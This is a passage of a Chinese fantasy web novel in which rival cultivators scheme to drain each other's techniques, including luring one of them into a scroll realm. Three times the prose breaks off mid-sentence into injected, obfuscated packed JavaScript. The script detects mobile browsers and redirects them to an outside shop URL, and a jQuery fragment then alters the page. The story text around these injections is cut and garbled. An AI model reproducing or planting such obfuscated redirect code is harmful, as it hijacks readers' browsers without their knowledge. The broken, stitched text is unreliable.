于是毫无防备走过去,说出自以为高深的话。 谁知最后是自己气得哑口无言。 气晕了又被救醒,结果更气。 他还以为自己不是鼎山中人,所以李宜敏毫无顾忌。 没想到冬青也深有同感,看来他们都是可怜人。 真是老乡见老乡,两眼泪汪汪。 谁能想到李宜敏这么嚣张。 不过张师铭还是没说什么,只是长叹一声。 “那个人规矩还特别多,原本在好好说话,她觉得被冒犯就要你瘫痪倒地,”冬青说出最关键的信息,“她也不会要你伤筋动骨,不过就是这次躺地上起不来,下次还得找她。” “被她气完也束手无策,这才最气人……”冬青说完就是一叹。 张师铭感觉这就是那天的李宜敏,他还以为自己是特殊待遇,没想到她一直都这么能气人。 世间能这么气人的,再也找不出第二个。 “唉,正是如此……” “我们都被她气来气去,要不要把她打一顿?”冬青说出一个提议。 这个提议很附和她在张师铭眼里的形象——鼎山掌门带回来的私生女。 学无所成还恣意妄为,全靠背后靠山撑腰。 乍看之下有点莽撞冲动,不过其实这是她深思熟虑的结果。 化龙是前所未有的事,谁也不清楚后果如何。 不过化形会由于消耗功法的多少,变难或者变容易。 化龙比化形难,消耗的功法不在一个层面。 ——恢复起来肯定很难。 因此化龙之人的恢复就成为一件大事。 化龙之人的恢复需要龙息,真龙也需要龙息。 不过张师铭同样需要龙息,就跟伤天害理的止水宗一样,他要将龙息化为功法。 所以他呆在鼎山,实际就是在争抢龙息之力。 这原本让人焦头烂额,不过九炼洞窟以前说鼎山人炉在用功法帮龙息恢复。 鼎山人炉可以这么做,那么鼎山龙息也可以,冬青就是鼎山龙息。 所以她现在要抠出张师铭的功法来填补龙息。 教训李宜敏当然不容易,有钱出钱有力出力,有功法就出功法。 冬青说出提议后,张师铭也想到此事。 自己被鼎山弟子盯着,不能动手,冬青在鼎山却能为所欲为。 ——不过动手也没用,还得让她不会白动手。 之前在玄镜池的偷袭,让张师铭知道冬青有什么本事。 不过那点本事就想打鼎山弟子,还是太过勉强。 如果冬青出面他出力,胜算就能变大不少。 李宜敏负责医疗,那么应该不擅打斗。 冬青身手再加上他的功法,问题不大,即使后续出事也能全赖在她身上。 他手头功法一大半不是自己的,所以帮冬青打李宜敏也算无本万利。 不过张师铭还是叹息:“唉,我不适合在此地动武……” “那我去打她,你帮我?”冬青说出点子,仿佛是个无所顾忌的富家子。 张师铭只是有些疑惑:“你擅长打斗吗?” “反正她不擅长。”冬青满不在乎。 不擅打斗的鼎山弟子和功法粗浅的私生女实在分不出优劣。 前者到处气人,后者肆无忌惮,都是同道中人。 鼎山地处偏远,没想到还有这么多不好惹的人。 张师铭刚想说话,突然发现狐狸也在听。冬青抱着狐狸,狐狸一直竖着耳朵。 这只狐狸是孙峥湖,那是飞泉院的人,飞泉院可是罗白音的地盘。 “不能让别人知道,但是他听到了。”张师铭赶紧指出。 冬青瞬间掏出布带将狐狸嘴巴捆起来,然后打晕它。 “只是打架,不会出事。” 她说得信誓旦旦,可张师铭并不抱希望。 毕竟只是小孩玩闹级别,下手再狠也不过受点伤。 要命的事他都没放在心上,小孩玩闹实在不值一提。 所以张师铭只是略微给出一点功法,最多只能打两招。 “不要恋战,打了就跑。” 即使跑不了被抓到的也只有冬青。 不过冬青根本就不会去打架。 ——她拿到功法只会给真龙。 顶多就是假装有场打斗,之前李宜敏教她怎么骗,之后她就教李宜敏怎么骗。 冬青兴高采烈地离开,仿佛已经擂台比武获胜。 打晕的狐狸被丢进乾坤袋里,不知道自己接下来还有戏。 张师铭一次给的功法少,那就积少成多。 也就是冬青和李宜敏之间的矛盾要接连不断,所以狐狸就成为连接桥梁。 今天被冬青打,它就去找李宜敏告状,还顺便说一下后续。 冬青跟李宜敏打完,它再根据胜负成败去拱火。 反正就是赢的那个人不对,千万不能放过。 在狐狸的鼓动下,那两人打了一次又一次。 无伤大雅的打斗持续五天才停止,最后获胜的是李宜敏。 冬青虽然拿到功法,但还是元气大伤,打又打不过,还被气了一通。 不过张师铭并不关心输赢,只要打了那就能出口恶气,无论赢的是谁。 冬青做不到认输,他还好心宽慰。 毕竟对他来说无论输赢,被打的都是那两个。 冬青打输就卧病在床,张师铭好心去探望,不过又顺便提到打架的事。 “我就不信还赢不了她!”冬青很不服气。 张师铭温和地说:“这次不行还有下次,反正不急。” 冬青实在气不过去,就又抓到狐狸一顿打。 反正基本都是在折腾,没完没了、无休无止。 直到张师铭心满意足,冬青已经累得不想动。 七天之后她颤颤巍巍走到禁地,将骗到手的功法交给卫池。 卫池见她有点奄奄一息,不禁问:“你没事吧?” 鼎山龙息化身一副气息奄奄的模样,感觉大事不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他以为呆在鼎山就能高枕无忧,不过卧榻之侧,岂容他人酣睡。 鼎山这地方只有真龙可以睡,他来抢什么地盘? 众人发现抢龙息有效,并没有欢欣鼓舞。 因为抢完这一次,还有下一次。 只要真龙没有恢复,就得一直抢下去,这种计划不能指望龙息化身,还得他们想出来。 “他在消耗鼎山龙息,我们就消耗他的功法。”青湖提出。 齐云鲤只能说:“难道他会反复做同一道题目?” “赶紧出题吧。”青湖说。 修道人士齐声说:“出题我不会。” 菩提慧海无奈摇头,青湖直接把头扭到一边,做题经验丰富的齐云鲤只好独自接下这个活。 出题本质就是想出各种骗人方法。 面具人既是穿书者又是作者,想不断骗他也只能齐云鲤出马。 不过想出来的办法感觉鼎山龙息也不会知道。 齐云鲤提出这个问题,青湖就说再找孙峥湖,在鼎山的孙峥湖还不知道自己以狐狸形态呆在鼎山的日子会持续三年。 幸亏除了隔三岔五被打,倒是没有其他烦恼。 张师铭想拖延时间到五年,九炼洞窟得稳定时间到三年,针锋相对马上就要开始。 在鼎山禁地的卫池自然是要时间越短越好,不过三渺宗人却在思考铭祖的可信度。 虽然之前铭祖让姜凝气绝身亡,但她在鼎山做的事对三渺宗也没好处。 眼下真龙飞到鼎山,那么彼此的关系就要做出相应调整。 不能再像以前一样话不投机半句多。 64. 再次合作 面具人比较警惕,直接骗取功法估计不再有用。 若是在其他领域吸引注意力,然后让冬青以闲聊的名义跟他相处,趁机拿走部分功法也不是不可能。 事情比较焦头烂额,他就要找人说话来缓解心中焦虑,冬青也就能一直偷偷拿走功法。 虽然一次的量很少,但聚沙成塔,集腋成裘。 ——经年累月就有海量功法。 齐云鲤说出这个计划,九炼洞窟其他人看她的眼神都不太对劲。 这人怎么还能想出这种事,而且其他领域的事他们可做不了。 菩提慧海当然要强调,九炼洞窟只负责真龙恢复,其他事情一概不管。 “我知道,不过鼎山那边还有能出力的。”齐云鲤没有计较,只是说明情况。 据菩提慧海了解,也就是鼎山龙息和孙峥湖还能出力,哪里还有余力? 齐云鲤没有具体讲述,只是稍微描述一下孙仲礼、丹青宝卷、石月观音和元气,虽然九炼洞窟没人听说过,不过这些都能调动起来。 “元气是跟龙息一阴一阳的那个东西?”有人很好奇。 大家都略有耳闻,不过谁也没接触过。 齐云鲤发现他们都不熟悉,于是就围绕元气说了一堆。从丹青宝卷说到石月观音,还说到剑阵,最后连鼎山弟子化龙的事都说出来。 本来元气相当稀奇,但鼎山弟子化龙一出来,众人瞬间就被吸引过去。 化龙是前所未有的事,五个修道人士殚精竭虑、精疲力尽才等到齐云鲤化龙。结果她说鼎山弟子可以化龙,这就太过儿戏。 修为高深之人都做不到,初出茅庐的小孩能干什么? 一个中年妇人问:“他们怎么能化龙?” “三渺宗长老都做不到,那些人却可以?”一个青年也很疑惑。 另外三人没说话,不过纷纷点头。 齐云鲤不知道说三渺宗是干什么,一问才知道那里是九炼洞窟众人打造的。曾经真龙消失无踪,他们便召集一群人研究化龙,久而久之便形成门派。 他们亲力亲为都没法让那些人化龙,怎么鼎山弟子可以? 修道人士焦头烂额,怎么也想不通。 说到这里,齐云鲤就知道如今的三渺宗估计已经远超他们想象,她转头看向菩提慧海,他只是略微摇头。 这些人都是幼儿心智,那还是别刺激他们。 三渺宗是为了帮助真龙而建立,如今却在妨碍真龙。 于是齐云鲤只提起化龙的关键,世人都是从形态来研究化龙,但化龙除了形还有势,化龙不止化形。 有形无势只是纸上图画,再像也无法腾龙而起。 只有具备真龙之势才能成功化龙。 这么一说,那五个人就恍然大悟。 他们以为化龙只需要化形,所以始终不能成功。但他们打造的秋容女仙,身负重任、艰难前行,门下弟子却已有真龙之势。 虽然出人意料,但那也是他们所为,顿时就感觉没有白费。 ——操劳数百年,总算有成果。 他们发现自己不是徒劳无功,也就欣慰不少。 不过鼎山弟子化龙实在远超想象,修道人士想了很久也只能问:“怎么做?” 齐云鲤当然不知道怎么做,只能说:“现在为时尚早,还在准备阶段,一切都没有定论。” 青年问:“怎么准备?” “鼎山长老负责此事,我也不清楚。”齐云鲤说。 中年妇人说:“肯定还不够,我们还要再做些事。” 化龙事关重大,不可儿戏。 说到这里,那五个人就去商量鼎山弟子化龙一事。孙仲礼、丹青宝卷、石月观音和元气,仿佛无关紧要。 齐云鲤转头看向菩提慧海,他只是说:“那边不用你管。” 她很疑惑,修道人士不是除了真龙恢复什么也不管? 菩提慧海说鼎山弟子化龙就是真龙恢复。 “这怎么还有关系?”齐云鲤很奇怪。 菩提慧海郑重其事地说:“天下本来有很多真龙,如今只剩下一个,即使彻底恢复,力量还是较为薄弱。如果鼎山弟子能化龙,或许无根海就能重现人间。” 齐云鲤更加疑惑:“可他们人再多也只能化龙一次?” “毕竟一即是全,全即是一。”菩提慧海的话相当高深莫测。 齐云鲤问:“这样说来真龙有一条不就够了?” 这话出来菩提慧海就有点气,齐云鲤跟青湖截然不同,还以为她能听懂。 结果整个九炼洞窟只有他才懂。 那五个修道人士曾经能懂,不过现在完全没有可能。 之前齐云鲤说了那么多,还以为她能懂,谁知还是异想天开。 青湖趁机说:“跟我说不通,跟她也说不清。” 菩提慧海是九炼洞窟五人的心智精华,是万中无一的存在,对其他人要求就别太高。 毕竟思维再灵活,有些事也无能为力。 说到这里,鼎山弟子化龙一事才稍微了结。 不过齐云鲤发现九炼洞窟众人对丹青宝卷和其他事毫不意外,似乎再怎么稀奇古怪他们都能接受。 可这些在小说里从没出现过,鼎山中人对丹青宝卷十分好奇,怎么他们完全不关心? 她不禁想起秋容女仙和菩提慧海地盘的事,莫非丹青宝卷是他们的地盘? 齐云鲤只好问:“难道你们知道丹青宝卷?” “不知道。”菩提慧海回答得很简单。 可这就令齐云鲤十分疑惑,丹青宝卷也算前所未见,放在鼎山而九炼洞窟不知道,难道不危险? 卷轴里面跟外界可是截然不同。 那种匪夷所思的东西居然不引发众人担忧。 “你们怎么不好奇?”齐云鲤问。 菩提慧海也问:“为什么要好奇?” “大千世界无奇不有,那不就是秘境?”青湖说。 齐云鲤说:“秘境也没那么奇怪吧?” “说不定东南秘境就是那样。”青湖猜测。 齐云鲤奇怪地问:“你去过?” “没去过。”青湖坦然回答。 齐云鲤无话可说,这些人一无所知还没当回事,似乎没什么稀奇的。 他们在九炼洞窟跟真龙呆在一起,感觉没必要再大惊小怪。 但鼎山弟子化龙的事他们又很惊讶。 也就是丹青宝卷的情况,对他们来说没什么大不了的。 即使世人瞠目结舌,九炼洞窟也没必要慌。 齐云鲤这才发现自己跟青湖打完就顺势接受九炼洞窟,没有任何疑虑。 就跟九炼洞窟众人接受丹青宝卷一样。 两个地方在小说里都没具体内容,但所有人都接受得顺理成章。 似乎完全不出乎意料。 齐云鲤实在想不通,只好说出一件令人震惊的事。 “鼎山人炉能让鼎山保持至今,实在耗尽心血。但现在有个外来者想破坏鼎山,真龙恢复也许会毁在他手上。” 无论如何打面具人才是重点。 先骗他再打他,齐云鲤想怎么骗,其他人就去想怎么打。 “那人必定不知道丹青宝卷,就让鼎山弟子进去烦死他。”她说出办法。 这样一来,鼎山弟子打面具人就是转移他注意力,同时办两件事,也就是齐云鲤的压力大为减少。 “鼎山弟子进丹青宝卷感觉也有阻碍,那种秘境就不是一般人能进去的。”菩提慧海说明情况。 齐云鲤解释:“他们之前进去略微熟悉过。” “熟悉那里干什么,难道对他们无害?”有个修道人士问。 齐云鲤还在缓和气氛:“在里面打开卷轴就能脱身,不会有太大影响。” “在那里打开卷轴是在秘境里打开秘境,谁会干这种事?!”修道人士的语气听起来有点危险。 虽然一开始是九游仙姬拿出卷轴,但后来是齐云鲤让鼎山弟子去丹青宝卷。 她当然不能说出实情,只好把责任往外推:“鼎山人炉发现这个方法不错……” “既然这样,那个人炉看起来有点居心叵测。”一个老者猜测。 齐云鲤赶紧解释:“不是,他始终都在为鼎山弟子考虑……” “外来者去鼎山捣乱,说不定就是他引过去的。”那人继续推测。 虽然以前齐云鲤也有这种想法,但眼下已经水落石出。卫池是清白的,作恶的只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223357|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作者三人行。 她好不容易才走出猜疑,结果那个修道人士又要进去。 身为过来者,她当然要避免其他人陷入没有意义的猜忌。 “卫池跟面具人有仇,面具人想摧毁鼎山,全靠他拦着。” 齐云鲤不小心说漏嘴,把鼎山人炉的名字说出来。 九炼洞窟众人其实知道那个名字,跟她嘴里的名字截然不同。 有人很疑惑:“他不是叫卫长夜吗?” “改名了。”齐云鲤只好解释。 “谁改的?” “我改的。”齐云鲤只能承认。 “名字能随便改吗?”那个老头皱起眉头。 齐云鲤说:“叫卫长夜不吉利吧?” “叫卫池就吉利?”老人很是怀疑。 齐云鲤搬出证据:“好歹上善若水吧?” 中年妇人眉头一皱:“还有洪水滔天呢。” “无根海也是水吧?”齐云鲤索性放弃挣扎。 话说到这里就有点严重,毕竟无根海是真龙栖息之地。 怀疑真龙栖息之地就是在怀疑九炼洞窟众人。 “你名字里有个鲤字,我看你是想方便在水里游。”青年转移目标。 齐云鲤也不甘示弱:“我看真龙迟迟没有恢复,就是你用趁机利用龙息。” “这说的是人话吗?!”青年有点生气。 齐云鲤大喊一声:“我本来就已经死了!” 生死之事冒出来,所有人都觉得自己早就死了。 正常人根本不可能在九炼洞窟呆这么长时间。 因此他们又拿死法出来一较高下,就看谁死得更惨。 那边齐云鲤跟几个修道人士吵成一片,旁边的菩提慧海哑口无言。 “挺有活力,能干大事。”青湖只是评价。 吵归吵,不过他们也趁机把鼎山龙息和人炉的事说清楚。 龙息和人炉都在帮助真龙,但是现在有外人插手,那么鼎山这边也得再出现一个全新力量。 那个力量就是九炼洞窟,他们通过丹青宝卷和鼎山弟子之类的来帮助鼎山。 鼎山龙息更稳定,人炉才能趁机调动四周龙息,真龙恢复才会更加顺利。 之前那五个修道人士还觉得自己无法完成此事,但眼下跟齐云鲤一吵,他们瞬间就认为只有他们才靠得住。 从始至终这件事都有参与,真龙能幸存至今,全靠他们出力。 眼下真龙还没恢复,看来也只有他们出手。 之前商量半天也没结果的计划很快就有了框架。 鼎山弟子有化龙之势,面具人在阻挠真龙恢复。鼎山还有丹青宝卷,丹青宝卷里有元气,那么鼎山人炉就能带领鼎山弟子跟面具人对抗。 虽然不会闹得很大,但能有效瓦解面具人信心,让他畏缩不前。 面具人一退缩,真龙就能抓紧时间恢复。 修道人士趁着吵架得出计划,在旁边围观的菩提慧海顺势整理出有效信息,然后告诉他们。 众人觉得计划没问题,目前只是需要找人执行。 能执行这个计划的只有鼎山人炉,于是孙峥湖又被龙息压得快要窒息。 大半夜他就从床上爬起来,冲到鼎山禁地。 禁地冰天雪地,孙峥湖就在雪地上划出几个图案,然后跟卫池讲解。 卫池睡眠较浅,这时孙峥湖气喘吁吁冲过来,似乎有什么急事。 “这有什么用?”他耐着性子听完夜色下的长篇大论,最后问。 孙峥湖也不知道是该气还是该急,只能说:“机不可失失不再来,张师铭在鼎山就是锻炼鼎山弟子的大好机会。” 卫池闻言一转头,看向雪地里的白鹭。 那是真龙的化形,能让真龙化形至此,必定消耗不少功法。不过即使如此,张师铭还是有余力抢夺鼎山龙息。 鼎山龙息是真龙的,也是化龙之人的。 要想真龙顺利恢复,就必须拦住张师铭。 眼前的办法既能拦住他,又能锻炼鼎山弟子,何乐而不为? 反正干那些事也是在帮助化龙之人。 “这个活我接了。” 卫池说出答复,孙峥湖总算可以放心回去睡。 65. 骗局 张师铭消耗鼎山龙息,还带来乱象,即使真龙接连化形,但彻底恢复之日遥遥无期。既然游刃有余,那就大量消耗他的精力,让其没有余力搅局。 消耗精力的事让鼎山弟子去做,也能锻炼他们。 于是卫池让孙峥湖叫鼎山弟子过来。 孙峥湖大半夜跑去鼎山弟子那边,他们还以为像上次一样又发生什么灾害。不过四周风平浪静,也不知道究竟怎么回事。 见他们很警惕,孙峥湖很欣慰,不过说外面没事,只是需要一个人来交代点事,之后回来再告诉其他人。 宋安合自然就跟孙峥湖走到禁地,夜已深沉,那边的阵法里亮着一盏灯,旁边站着卫池。孙峥湖打着哈欠离去,宋安合就走进阵法。 鼎山弟子对张师铭是什么态度,卫池还是清楚。张师铭虽然很低调,但鼎山深受其害,既找不出他干了什么,也不能说他干扰鼎山事务。 即使让他跑上跑下,但鼎山弟子实在找不出其他方法来下手。 宋安合对此深有体会,感觉都是无用功,只有心理安慰的效果。 他们又担心又焦虑,却无能为力。 于是卫池说出真相:“张师铭在消耗鼎山龙息,你们就得消耗他。” “……啊?”宋安合实在没想到竟然会这样。 之前见张师铭可疑,但怎么也想不到他会妨碍真龙恢复。鼎山是因真龙而存在,虽然很多鼎山弟子不了解实情,不过都明白此地重要性。 前段时间鼎山弟子还开始学习化龙相关知识,越学越觉得不容易。 如今张师铭在消耗鼎山龙息那就是明晃晃的妨碍真龙恢复,真龙难以恢复,那么天下苍生都会深受影响。 卫池说出这句话,绝对不是空口无凭。 所以宋安合问:“何以见得?” “最开始真龙相当虚弱,张师铭施法以后才稳定下来。但是稳定在比较虚弱的状态,虽然不会出现偏差,不过恢复起来相当慢。”卫池简单描述。 “慢到什么程度?” “你们觉得化龙之人彻底恢复需要多长时间?”卫池问。 “化形对象越复杂,化形也就越难。化龙比化形难,感觉要一两年。” 宋安合说出的是鼎山弟子的讨论结果,众人对化形都有所了解。化形成随处可见的猫狗很容易,但是要变成世间罕见的蛟那就难于上青天。 变成从没人见过的真龙更是难上加难,不仅变成龙形难,变回人形也难。 所以鼎山弟子经过多方考量,最后估计大概要一两年。 这是前所未见的时间,但卫池说:“原本要三年,现在可能得五年。” 这个时间就更夸张,没想到三年五载还真就是三年五年。 “这么长时间?”宋安合十分不可思议。 卫池低声说:“无根海已经变成万仞山,所以世间龙息不再充盈。真龙恢复需要龙息,如今龙息不足只能这样。” “三年就算了,怎么还有五年?”宋安合还是很疑惑。 “张师铭就是在千溪镇造成祸乱的人,他也需要借助龙息来恢复。” 此言一出,宋安合就回想起最初张师铭出现在鼎山的状态。 当时觉得他温文尔雅,可如今看来似乎有些气虚乏力。 没想到他竟然还来抢夺生机,宋安合皱紧眉头。 “怎么消耗他?” “龙息是灾也是力,他就是让龙息成为真龙之力时也成为自己的力,不过要做到这一点,需要功法支撑。”卫池说出前提。 龙息是灾也是力的说法鼎山弟子都有所耳闻,但是谁也没有具体了解。 如今说到这件事,顿时就提醒宋安合以往听到的东西都值得深入学习。 也许只是随口一说,但言者无心听者有意,事情发展可能就会天壤之别。 宋安合问:“要成为我们的力,成为他的灾?” “不成为他的力就行。”卫池没有过多要求。 宋安合又问:“让龙息成为他的力,需要功法?” “所以你们要消耗他的功法。” 修道人士需要功法的事多种多样,不过大多都太遥远,在鼎山无法实行。 因此要在鼎山消耗张师铭功法实在有点困难。 “不久前有一件新出现的事挺消耗你们的功法。”卫池提醒。 宋安合瞬间就想到:“丹青宝卷?” “找个理由让他进去。”卫池点点头。 丹青宝卷算一个秘境,而且比鼎山秘境都要高级。 所以鼎山弟子只有熟悉鼎山秘境,才有资格进去。 进去之后发现里面变化多端,而且呆在那里比较费力,仿佛那些变来变去的环境就是在消耗他们的功法。 这种猜测恰好符合事实,丹青宝卷是安抚妖魔鬼怪的地方,不过他们精力旺盛,怎么也不肯静下来。 于是九游仙姬在里面铺设阵法,让四周环境能吸收妖魔鬼怪的功法而变化。 他们在荒野里不断被吸收功法,以至于不得不呆在天府之国。 呆在城里就会逐渐适应里面的规矩,久而久之就平静下来,毕竟打也打不过。 卫池知道张师铭进过丹青宝卷,所以肯定有所提防。战胜他没有任何胜算,那就他去荒野,让四周环境不断吸收他的功法,出现花样百出的变化。 鼎山弟子以此为借口,延长他留在荒野的时间。 时间越长,他被消耗的功法就越多。 卫池把计划告诉宋安合,让他想出理由骗张师铭进丹青宝卷。 然后呆在荒野里被吸收功法,他被吸收的功法越多真龙就越稳定。 “这样就行?”宋安合感觉太过简单。 卫池强调:“你们千万不要动手,丹青宝卷里面的人也安分点,让九游仙姬的阵法出力就行。” 宋安合问:“这种事不是大家都知道吗?” “他不知道。”卫池说。 鼎山的大小事务张师铭不屑了解,因此即使众人皆知他也一无所知。 有时就是这一星半点的认知差别就可能导致严重后果。 “阵法出力也需要时间吧?” 卫池说:“所以你们尽量拖延。” “不用打?”他将这件事描述得很轻松,宋安合有些疑惑。 “骗他进去,时间越长越好。” 说到这里,宋安合也就明白是怎么回事。 就是让张师铭换个环境,不过丹青宝卷会吸收他的功法,也会吸收鼎山弟子的。他没有明显变化,鼎山弟子就可能精疲力尽。 不过要让他呆久一点,同行的鼎山弟子也必须陪同。 那就得先保障鼎山弟子不会虚弱倒地。 这件事并不轻松,因此宋安合马上赶回去跟众人商量对策。 三更半夜一群人讨论得越来越深,最后选出三个功法高深之人跟宋安合进丹青宝卷。 其他人则施法布阵,减小丹青宝卷里阵法对他们的影响。 次日天一亮,宋安合就有点焦急地去玄镜池找张师铭。 在此之前,从没有鼎山弟子主动过去。 张师铭瞬间就明白事情不小,宋安合的话更是让他有点晕。 鼎山除了普通秘境以外,还有个叫做丹青宝卷的卷轴作为秘境使用。 不过能进去的都是已熟悉普通秘境的人,毕竟丹青宝卷有别于其他地方,变化多端,各种稀奇古怪的事层出不穷。 为了确保丹青宝卷的安全,鼎山弟子定期就要进去清扫整理,以防发生意外。 前几天鼎山弟子在丹青宝卷里遇到点麻烦,所以现在师兄师姐就得进去解决问题。 但是从描述来看问题有点复杂,只能请修为高深的张师铭帮忙,他都能帮真龙化形,一个秘境应该不在话下。 张师铭哑口无言,虽然问题很小,可丹青宝卷就不利于他行动。 上次在城内打半天也只能破坏建筑,鼎山弟子的阵法将伤害都牢牢挡在外围,没有人因此受伤。 后来在城外化形成巨蟒,四周环境又变来变去,导致他始终没能追上前面的人。之后天府之国里冲出两道金光,张师铭就被带出丹青宝卷。 忙了半天一事无成,那地方就不吉利。 因此张师铭委婉拒绝,宋安合没有强求,长叹一声就转身离去。只是说看来真龙化形一事,鼎山弟子也得出力,虽然知之甚少,但总好过半途而废。 这种话张师铭就不爱听,搞得好像他还不如鼎山弟子。 虽然去丹青宝卷折磨人,但总好过被人比下去。 所以他在宋安合带领下,跟三个鼎山弟子一起进丹青宝卷解决问题。 进入丹青宝卷后,一切都不同寻常,举目四望全是荒野。即便日上三竿,也显得凉飕飕。 同行其他人没有疑义,只是拿出一张地图,不过丹青宝卷里变来变去,地图能画出什么? 张师铭凑过去一看,发现上面只有天府之国,其他地方一片空白,写着错综复杂四个字。 他不知道这有什么用,鼎山弟子指着最下面说他们现在身处那里,而天府之国在地图最上面。 也就是说他们要在几乎整张地图的区域找到麻烦,解决问题。 张师铭不得不怀疑起来,正常人会来干这种事? 不过很快他们就发现一个麻烦,空旷荒野里有一棵树朝各个方向长,刚才枝头还朝东,转眼又变成朝南。更夸张的是平地出现悬崖,那棵树还长到崖壁上去。 如此变化多端,必定消耗功法。 张师铭不明白功法从何而来,只是感觉呆久了有点累。 鼎山弟子说这是麻烦之一,虽然丹青宝卷里变化多端,但不能变动太大。万一踩在平地上,突然掉进悬崖,那就不好。 他们对此地变化略微有所了解,于是就顺势讨论起来。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他突然发现前几天鼎山弟子在这里遇到的麻烦,根本就不是环境多变,而是功法消耗过大。 就说怎么天府之国有那么多妖魔鬼怪规规矩矩呆着。 ——因为只有城里才安全! “这里不对。”发现此事的张师铭赶紧提醒。 宋安合说:“这里本来就不对啊?” “我说的不对不是你说的不对,我们赶紧出去。”张师铭没有纠结。 宋安合很茫然:“问题还没解决完呢?” “——再不出去你就会变成问题!” 张师铭没有卷轴,急也没用,而且他发现鼎山弟子都没有自己累,就知道大事不好。千防万防,没想到会在这里中招。 虽然消耗功法无伤大雅,可是对他来说就相当严重。 ——毕竟他得靠功法来获取龙息。 宋安合知道事情已经暴露,也就没必要继续坚持。 于是打开卷轴,五个人离开丹青宝卷。 离开那里,张师铭才发现鼎山空气有多么清新。 以前没有珍惜,是他不知好歹。 宋安合还有些疑惑,张师铭便解释丹青宝卷里的事。那里变化多端不是凭空而来,变化的源头来自功法,功法来自进入丹青宝卷的修道人士。 宋安合马上恍然大悟地说,怪不得丹青宝卷会藏在鼎山,不知道有多少人被偷偷吸收功法。之后再进去就要小心防范,之前还以为是那里原有的麻烦。 “这你都不知道?”张师铭很是怀疑。 宋安合不好意思地说:“想过千百种可能,实在没想到还有这种事。” 张师铭不了解鼎山弟子的修炼,也就无从质疑,毕竟小说里也没有相关描写。 宋安合顺势夸了一通,说这件事情有点严重,幸亏张师铭感觉灵敏,否则后续还有更多鼎山弟子遭殃。 张师铭原本深有怀疑,但宋安合这么一夸就将他夸上天。 过了一会儿他也不好再计较,只能提醒宋安合要小心。 两人分开以后,张师铭走在鼎山,山间小道和林间野草都显得生机勃勃。 看了很久他才彻底安心,此处与丹青宝卷截然不同,即使那边是另一套东西,但鼎山这边还是他的东西。 不过丹青宝卷放在鼎山,会不会影响这边的环境? 张师铭越想越诡异,感觉无事发生又像无所不有。 他将苦命人的构思占为己有,原本顺风顺水,最后却被逼进这个世界。 千方百计叫穿书者过来提供力量,但这个世界发生的变化并不都是他干的。 以为稳操胜券的事,说不定会一败涂地? 他走走停停,最后来到一个拐角处,冬青依然坐在那里,怀里抱着狐狸。 不过这次没有动手,只是轻轻抚摸。 张师铭觉得自己被坑得很惨,所以要稍作补偿。 既然他被丹青宝卷坑,那接下来就去坑冬青。 就不信他还骗不过掌门私生女。 66. 忽悠 张师铭以为丹青宝卷异常没人知道,所以他要用那个东西去吓人。 冬青在他看来是掌门私生女,修为浅薄、胡搅蛮缠,没人敢惹,但是也没人关注,估计鼎山很多事情她都不清楚。 若是自己说出丹青宝卷的事,效果不会小。 于是张师铭满怀信心走过去感慨:“你终于不打狐狸了。” 冬青怀里的狐狸瞬间就冲出去,被她抓住尾巴才拖回来。 “不打也不能跑。”冬青强调。 其实张师铭的靠近她完全不清楚,但狐狸如临大敌她瞬间就明白。 全靠这只胆小的狐狸自己才能做好准备,接下来还要靠它避开危险,如果现在就跑那当然不行。 “我也打不动了,就那样吧。”冬青坐在那里没动,只是这么说。 张师铭没计较打架的事,而是说:“又不是血海深仇,没必要深陷其中。” “难道以后就不能打她了?”冬青有点不服。 张师铭劝说:“打架事小,其他事大。” “其他什么事?” 张师铭问:“你知道丹青宝卷吗?” 他的态度似乎丹青宝卷很严重。 那是什么东西冬青当然知道,因为那卷轴还是她想办法藏起来的。 天一道人弄出的那东西麻烦不断,她想方设法才避免卷轴跟鼎山的冲突。 如今鼎山弟子能进丹青宝卷,也是她在背后出力。 不过张师铭这么说就意味着她不能知道。 她要是知道得清清楚楚,那人就无话可说。 “画画用的?”冬青先是一问,然后才说,“之前听鼎山弟子提起过,他们还有这种兴致?” ——这是她能想出来的最小联系。 “当然不是用来画画的,那里面藏着一大群妖魔鬼怪。”张师铭低头一叹,说得仿佛异常凶险。 冬青也演起来:“鼎山还藏着妖魔鬼怪?” 怀里的狐狸挣扎几下,仿佛是在提醒她这里就有个狐妖。 “没说你。”冬青拍了一下狐狸脑袋。 张师铭见状便调整方向:“不是妖精,是妖魔鬼怪。” 双方有明显区别,前者能乖乖呆在怀里,后者却可能让你人头落地。 妖精无害,但妖魔鬼怪不可不防。 “听说以前这边有很多,可能是那些?”冬青并没有明显惊恐。 张师铭又是一叹:“估计是吧,鼎山弟子将那里当作秘境,时不时进去修炼。” “有问题吗?”冬青好奇地问。 张师铭摇头:“原本没问题,不过今天我进去看才发现里面别有洞天。” “别有洞天不好吗?”冬青还是问。 张师铭皱起眉头:“对妖魔鬼怪别有洞天,对鼎山弟子可能就有点凶险。” “还有不凶险的秘境?”冬青相当惊讶。 她问得太光明正大,张师铭都有点无话可说。 秘境千奇百怪,多种多样,共同特点就是凶险。有些看起来不凶险,实际可能更凶险。 原本相当吓人,结果冬青毫无反应。 迫于无奈,他只能将那里描述得格外惊险:“丹青宝卷需要功法又缺少功法,一旦有外来功法,无论如何都会想方设法弄到手。” 